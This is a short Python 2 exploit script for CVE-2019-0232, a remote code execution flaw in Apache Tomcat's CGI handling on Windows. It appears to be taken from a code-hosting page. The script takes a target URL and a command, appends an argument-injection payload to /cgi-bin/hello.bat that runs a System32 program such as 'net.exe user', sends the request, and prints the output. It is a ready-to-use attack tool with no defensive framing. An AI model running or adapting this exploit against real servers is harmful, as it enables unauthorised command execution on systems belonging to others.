37 lines
1004 B
Python
37 lines
1004 B
Python
import requests
|
|
import sys
|
|
|
|
# http://localhost:8080/cgi-bin/hello.bat?&C%3A%5CWindows%5CSystem32%5Cnet.exe+user
|
|
|
|
url = sys.argv[1]
|
|
|
|
url_dir = "/cgi-bin/hello.bat?&C%3A%5CWindows%5CSystem32%5C"
|
|
|
|
cmd = sys.argv[2]
|
|
|
|
vuln_url = url + url_dir +cmd
|
|
|
|
|
|
print '''
|
|
_______ ________ ___ ___ __ ___ ___ ___ ____ ___
|
|
/ ____\ \ / / ____| |__ \ / _ \/_ |/ _ \ / _ \__ \|___ \__ \
|
|
| | \ \ / /| |__ ______ ) | | | || | (_) |______| | | | ) | __) | ) |
|
|
| | \ \/ / | __|______/ /| | | || |\__, |______| | | |/ / |__ < / /
|
|
| |____ \ / | |____ / /_| |_| || | / / | |_| / /_ ___) / /_
|
|
\_____| \/ |______| |____|\___/ |_| /_/ \___/____|____/____|
|
|
|
|
Apache Tomcat Remote Code Execution on Windows - CGI-BIN
|
|
By Jas502n
|
|
|
|
|
|
'''
|
|
|
|
print "Usage: python CVE-2019-0232.py url cmd"
|
|
|
|
print "The Vuln url:\n\n" ,vuln_url
|
|
|
|
r = requests.get(vuln_url)
|
|
|
|
|
|
print "\nThe Vuln Response Content: \n\n" , r.content
|